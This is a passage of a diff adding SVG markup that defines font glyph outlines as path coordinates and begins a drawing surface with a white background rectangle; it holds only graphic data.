4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 5.21875 -7.09375 L 9.140625 -7.09375 L 9.140625 -0.828125 C 8.765625 -0.484375 8.28125 -0.21875 7.6875 -0.03125 C 7.09375 0.15625 6.488281 0.25 5.875 0.25 C 5.113281 0.25 4.425781 0.109375 3.8125 -0.171875 C 3.195312 -0.460938 2.671875 -0.910156 2.234375 -1.515625 C 1.796875 -2.117188 1.457031 -2.878906 1.21875 -3.796875 C 0.988281 -4.722656 0.875 -5.828125 0.875 -7.109375 C 0.875 -8.441406 1.015625 -9.570312 1.296875 -10.5 C 1.585938 -11.425781 1.972656 -12.179688 2.453125 -12.765625 C 2.929688 -13.359375 3.476562 -13.789062 4.09375 -14.0625 C 4.707031 -14.332031 5.34375 -14.46875 6 -14.46875 C 6.644531 -14.46875 7.1875 -14.421875 7.625 -14.328125 C 8.070312 -14.242188 8.453125 -14.128906 8.765625 -13.984375 L 8.390625 -12.609375 C 8.117188 -12.753906 7.796875 -12.867188 7.421875 -12.953125 C 7.054688 -13.035156 6.628906 -13.078125 6.140625 -13.078125 C 5.660156 -13.078125 5.203125 -12.972656 4.765625 -12.765625 C 4.335938 -12.566406 3.953125 -12.234375 3.609375 -11.765625 C 3.265625 -11.296875 2.988281 -10.679688 2.78125 -9.921875 C 2.582031 -9.160156 2.484375 -8.222656 2.484375 -7.109375 C 2.484375 -5.078125 2.800781 -3.578125 3.4375 -2.609375 C 4.082031 -1.640625 4.96875 -1.15625 6.09375 -1.15625 C 6.800781 -1.15625 7.382812 -1.328125 7.84375 -1.671875 L 7.84375 -5.8125 L 5.21875 -6.203125 Z M 5.21875 -7.09375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 5.40625 -14.46875 L 6.546875 -14.03125 L 0.609375 2.84375 L -0.5625 2.421875 Z M 5.40625 -14.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 1.90625 -1.359375 L 4.203125 -1.359375 L 4.203125 -11.265625 L 4.390625 -12.46875 L 3.703125 -11.484375 L 1.984375 -10.109375 L 1.21875 -11.015625 L 4.921875 -14.46875 L 5.671875 -14.46875 L 5.671875 -1.359375 L 7.890625 -1.359375 L 7.890625 0 L 1.90625 0 Z M 1.90625 -1.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-24">
+<path style="stroke:none;" d="M 0.796875 -0.921875 C 0.796875 -1.296875 0.882812 -1.578125 1.0625 -1.765625 C 1.25 -1.953125 1.5 -2.046875 1.8125 -2.046875 C 2.125 -2.046875 2.367188 -1.953125 2.546875 -1.765625 C 2.734375 -1.578125 2.828125 -1.296875 2.828125 -0.921875 C 2.828125 -0.523438 2.734375 -0.226562 2.546875 -0.03125 C 2.367188 0.15625 2.125 0.25 1.8125 0.25 C 1.5 0.25 1.25 0.15625 1.0625 -0.03125 C 0.882812 -0.226562 0.796875 -0.523438 0.796875 -0.921875 Z M 0.796875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-25">
+<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-26">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-27">
+<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-28">
+<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-29">
+<path style="stroke:none;" d="M 0.734375 -6.203125 L 0.734375 -6.796875 L 6.828125 -11.328125 L 7.625 -10.21875 L 3.734375 -7.28125 L 2.234375 -6.5 L 3.71875 -5.859375 L 7.703125 -2.921875 L 6.9375 -1.828125 Z M 0.734375 -6.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-30">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-31">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-32">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-33">
+<path style="stroke:none;" d="M 7.703125 -7 L 7.703125 -6.40625 L 1.640625 -1.875 L 0.8125 -2.953125 L 4.71875 -5.890625 L 6.203125 -6.671875 L 4.734375 -7.3125 L 0.734375 -10.25 L 1.546875 -11.328125 Z M 7.703125 -7 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-34">
+<path style="stroke:none;" d="M 1.53125 -0.875 C 1.53125 -1.207031 1.628906 -1.472656 1.828125 -1.671875 C 2.023438 -1.878906 2.273438 -1.984375 2.578125 -1.984375 C 2.929688 -1.984375 3.21875 -1.84375 3.4375 -1.5625 C 3.664062 -1.28125 3.78125 -0.832031 3.78125 -0.21875 C 3.78125 0.226562 3.722656 0.628906 3.609375 0.984375 C 3.492188 1.347656 3.34375 1.664062 3.15625 1.9375 C 2.976562 2.207031 2.78125 2.425781 2.5625 2.59375 C 2.34375 2.769531 2.132812 2.898438 1.9375 2.984375 L 1.421875 2.296875 C 1.597656 2.203125 1.765625 2.078125 1.921875 1.921875 C 2.078125 1.765625 2.207031 1.59375 2.3125 1.40625 C 2.414062 1.21875 2.492188 1.015625 2.546875 0.796875 C 2.597656 0.585938 2.625 0.382812 2.625 0.1875 C 2.351562 0.269531 2.101562 0.210938 1.875 0.015625 C 1.644531 -0.171875 1.53125 -0.46875 1.53125 -0.875 Z M 1.734375 -9.109375 C 1.734375 -9.484375 1.820312 -9.765625 2 -9.953125 C 2.1875 -10.140625 2.4375 -10.234375 2.75 -10.234375 C 3.0625 -10.234375 3.304688 -10.140625 3.484375 -9.953125 C 3.671875 -9.765625 3.765625 -9.484375 3.765625 -9.109375 C 3.765625 -8.710938 3.671875 -8.414062 3.484375 -8.21875 C 3.304688 -8.03125 3.0625 -7.9375 2.75 -7.9375 C 2.4375 -7.9375 2.1875 -8.03125 2 -8.21875 C 1.820312 -8.414062 1.734375 -8.710938 1.734375 -9.109375 Z M 1.734375 -9.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-35">
+<path style="stroke:none;" d="M 0.71875 -9.265625 L 7.703125 -9.265625 L 7.703125 -7.90625 L 0.71875 -7.90625 Z M 0.71875 -5.90625 L 7.703125 -5.90625 L 7.703125 -4.546875 L 0.71875 -4.546875 Z M 0.71875 -5.90625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-36">
+<path style="stroke:none;" d="M 3.609375 -14.234375 L 5 -14.234375 L 4.484375 -10.3125 L 3.609375 -10.3125 Z M 1.46875 -14.234375 L 2.859375 -14.234375 L 2.34375 -10.3125 L 1.46875 -10.3125 Z M 1.46875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-37">
+<path style="stroke:none;" d="M 2.171875 -2.3125 C 2.171875 -3.007812 2.054688 -3.484375 1.828125 -3.734375 C 1.609375 -3.992188 1.289062 -4.125 0.875 -4.125 L 0.875 -5.453125 C 1.289062 -5.453125 1.609375 -5.585938 1.828125 -5.859375 C 2.054688 -6.128906 2.171875 -6.5625 2.171875 -7.15625 L 2.171875 -12.171875 C 2.171875 -12.804688 2.296875 -13.3125 2.546875 -13.6875 C 2.796875 -14.0625 3.207031 -14.25 3.78125 -14.25 L 5.28125 -14.25 L 5.28125 -12.921875 L 4.5 -12.921875 C 4.1875 -12.921875 3.960938 -12.835938 3.828125 -12.671875 C 3.703125 -12.503906 3.640625 -12.203125 3.640625 -11.765625 L 3.640625 -6.8125 C 3.640625 -6.21875 3.523438 -5.765625 3.296875 -5.453125 C 3.078125 -5.140625 2.8125 -4.945312 2.5 -4.875 L 2.5 -4.75 C 2.8125 -4.695312 3.078125 -4.488281 3.296875 -4.125 C 3.523438 -3.769531 3.640625 -3.3125 3.640625 -2.75 L 3.640625 2.203125 C 3.640625 2.617188 3.703125 2.914062 3.828125 3.09375 C 3.960938 3.269531 4.191406 3.359375 4.515625 3.359375 L 5.28125 3.359375 L 5.28125 4.671875 L 3.78125 4.671875 C 2.707031 4.671875 2.171875 3.988281 2.171875 2.625 Z M 2.171875 -2.3125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-38">
+<path style="stroke:none;" d="M 11.484375 -9.984375 L 12.15625 -9.984375 L 11.328125 -4.0625 C 11.203125 -3.15625 11.160156 -2.476562 11.203125 -2.03125 C 11.253906 -1.59375 11.457031 -1.375 11.8125 -1.375 C 12.164062 -1.375 12.515625 -1.488281 12.859375 -1.71875 C 13.210938 -1.957031 13.53125 -2.300781 13.8125 -2.75 C 14.09375 -3.195312 14.316406 -3.742188 14.484375 -4.390625 C 14.648438 -5.035156 14.734375 -5.78125 14.734375 -6.625 C 14.734375 -7.582031 14.59375 -8.425781 14.3125 -9.15625 C 14.039062 -9.882812 13.65625 -10.488281 13.15625 -10.96875 C 12.664062 -11.457031 12.066406 -11.828125 11.359375 -12.078125 C 10.660156 -12.335938 9.882812 -12.46875 9.03125 -12.46875 C 8.144531 -12.46875 7.316406 -12.285156 6.546875 -11.921875 C 5.773438 -11.566406 5.101562 -11.054688 4.53125 -10.390625 C 3.957031 -9.722656 3.503906 -8.925781 3.171875 -8 C 2.847656 -7.082031 2.6875 -6.054688 2.6875 -4.921875 C 2.6875 -3.742188 2.835938 -2.71875 3.140625 -1.84375 C 3.441406 -0.976562 3.867188 -0.253906 4.421875 0.328125 C 4.984375 0.910156 5.644531 1.34375 6.40625 1.625 C 7.164062 1.90625 8.003906 2.046875 8.921875 2.046875 C 9.242188 2.046875 9.617188 2.003906 10.046875 1.921875 C 10.472656 1.847656 10.84375 1.726562 11.15625 1.5625 L 11.53125 2.703125 C 11.0625 2.921875 10.597656 3.070312 10.140625 3.15625 C 9.691406 3.25 9.21875 3.296875 8.71875 3.296875 C 7.726562 3.296875 6.789062 3.140625 5.90625 2.828125 C 5.019531 2.515625 4.238281 2.03125 3.5625 1.375 C 2.894531 0.71875 2.363281 -0.117188 1.96875 -1.140625 C 1.570312 -2.171875 1.375 -3.390625 1.375 -4.796875 C 1.375 -6.191406 1.582031 -7.441406 2 -8.546875 C 2.414062 -9.648438 2.972656 -10.582031 3.671875 -11.34375 C 4.367188 -12.101562 5.179688 -12.6875 6.109375 -13.09375 C 7.046875 -13.5 8.039062 -13.703125 9.09375 -13.703125 C 10.09375 -13.703125 11.015625 -13.550781 11.859375 -13.25 C 12.703125 -12.957031 13.4375 -12.507812 14.0625 -11.90625 C 14.6875 -11.3125 15.171875 -10.570312 15.515625 -9.6875 C 15.859375 -8.8125 16.03125 -7.789062 16.03125 -6.625 C 16.03125 -5.6875 15.910156 -4.816406 15.671875 -4.015625 C 15.429688 -3.222656 15.101562 -2.535156 14.6875 -1.953125 C 14.269531 -1.367188 13.785156 -0.910156 13.234375 -0.578125 C 12.691406 -0.242188 12.109375 -0.078125 11.484375 -0.078125 C 11.222656 -0.078125 10.988281 -0.109375 10.78125 -0.171875 C 10.570312 -0.242188 10.398438 -0.359375 10.265625 -0.515625 C 10.140625 -0.679688 10.050781 -0.898438 10 -1.171875 C 9.945312 -1.441406 9.945312 -1.773438 10 -2.171875 L 9.921875 -2.171875 C 9.773438 -1.898438 9.597656 -1.640625 9.390625 -1.390625 C 9.191406 -1.140625 8.972656 -0.914062 8.734375 -0.71875 C 8.492188 -0.519531 8.234375 -0.363281 7.953125 -0.25 C 7.679688 -0.132812 7.394531 -0.078125 7.09375 -0.078125 C 6.519531 -0.078125 6.035156 -0.332031 5.640625 -0.84375 C 5.242188 -1.351562 5.046875 -2.085938 5.046875 -3.046875 C 5.046875 -4.046875 5.15625 -4.976562 5.375 -5.84375 C 5.601562 -6.71875 5.910156 -7.472656 6.296875 -8.109375 C 6.679688 -8.742188 7.128906 -9.238281 7.640625 -9.59375 C 8.160156 -9.957031 8.710938 -10.140625 9.296875 -10.140625 C 9.679688 -10.140625 10 -10.070312 10.25 -9.9375 C 10.5 -9.800781 10.742188 -9.617188 10.984375 -9.390625 Z M 10.546875 -8.125 C 10.367188 -8.375 10.1875 -8.550781 10 -8.65625 C 9.820312 -8.769531 9.597656 -8.828125 9.328125 -8.828125 C 8.921875 -8.828125 8.539062 -8.671875 8.1875 -8.359375 C 7.832031 -8.054688 7.523438 -7.648438 7.265625 -7.140625 C 7.015625 -6.640625 6.8125 -6.0625 6.65625 -5.40625 C 6.507812 -4.757812 6.4375 -4.085938 6.4375 -3.390625 C 6.4375 -2.785156 6.53125 -2.300781 6.71875 -1.9375 C 6.90625 -1.582031 7.210938 -1.40625 7.640625 -1.40625 C 7.847656 -1.40625 8.054688 -1.476562 8.265625 -1.625 C 8.484375 -1.769531 8.695312 -1.960938 8.90625 -2.203125 C 9.125 -2.441406 9.328125 -2.707031 9.515625 -3 C 9.703125 -3.300781 9.863281 -3.601562 10 -3.90625 Z M 10.546875 -8.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-39">
+<path style="stroke:none;" d="M 0.734375 -0.875 C 0.734375 -1.207031 0.832031 -1.472656 1.03125 -1.671875 C 1.226562 -1.878906 1.476562 -1.984375 1.78125 -1.984375 C 2.132812 -1.984375 2.421875 -1.84375 2.640625 -1.5625 C 2.867188 -1.28125 2.984375 -0.832031 2.984375 -0.21875 C 2.984375 0.226562 2.925781 0.628906 2.8125 0.984375 C 2.695312 1.347656 2.546875 1.664062 2.359375 1.9375 C 2.179688 2.207031 1.984375 2.425781 1.765625 2.59375 C 1.546875 2.769531 1.335938 2.898438 1.140625 2.984375 L 0.625 2.296875 C 0.800781 2.203125 0.96875 2.078125 1.125 1.921875 C 1.28125 1.765625 1.410156 1.59375 1.515625 1.40625 C 1.617188 1.21875 1.695312 1.015625 1.75 0.796875 C 1.800781 0.585938 1.828125 0.382812 1.828125 0.1875 C 1.554688 0.269531 1.304688 0.210938 1.078125 0.015625 C 0.847656 -0.171875 0.734375 -0.46875 0.734375 -0.875 Z M 0.734375 -0.875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-40">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -7.8125 L 7.296875 -7.8125 L 7.296875 -6.40625 L 2.828125 -6.40625 L 2.828125 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-41">
+<path style="stroke:none;" d="M 3.5625 2.625 C 3.5625 3.988281 3.023438 4.671875 1.953125 4.671875 L 0.453125 4.671875 L 0.453125 3.359375 L 1.21875 3.359375 C 1.539062 3.359375 1.765625 3.269531 1.890625 3.09375 C 2.023438 2.914062 2.09375 2.617188 2.09375 2.203125 L 2.09375 -2.75 C 2.09375 -3.3125 2.203125 -3.769531 2.421875 -4.125 C 2.648438 -4.488281 2.921875 -4.695312 3.234375 -4.75 L 3.234375 -4.875 C 2.921875 -4.945312 2.648438 -5.140625 2.421875 -5.453125 C 2.203125 -5.765625 2.09375 -6.21875 2.09375 -6.8125 L 2.09375 -11.765625 C 2.09375 -12.203125 2.023438 -12.503906 1.890625 -12.671875 C 1.765625 -12.835938 1.546875 -12.921875 1.234375 -12.921875 L 0.453125 -12.921875 L 0.453125 -14.25 L 1.953125 -14.25 C 2.523438 -14.25 2.9375 -14.0625 3.1875 -13.6875 C 3.4375 -13.3125 3.5625 -12.804688 3.5625 -12.171875 L 3.5625 -7.15625 C 3.5625 -6.5625 3.671875 -6.128906 3.890625 -5.859375 C 4.117188 -5.585938 4.441406 -5.453125 4.859375 -5.453125 L 4.859375 -4.125 C 4.441406 -4.125 4.117188 -3.992188 3.890625 -3.734375 C 3.671875 -3.484375 3.5625 -3.007812 3.5625 -2.3125 Z M 3.5625 2.625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface73599">
+<rect x="0" y="0" width="584" height="268" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.5 7.6 L 30.5 7.6 L 30.5 20.8 L 1.5 20.8 Z M 1.5 7.6 " transform="matrix(20,0,0,20,-28,-150)"/>
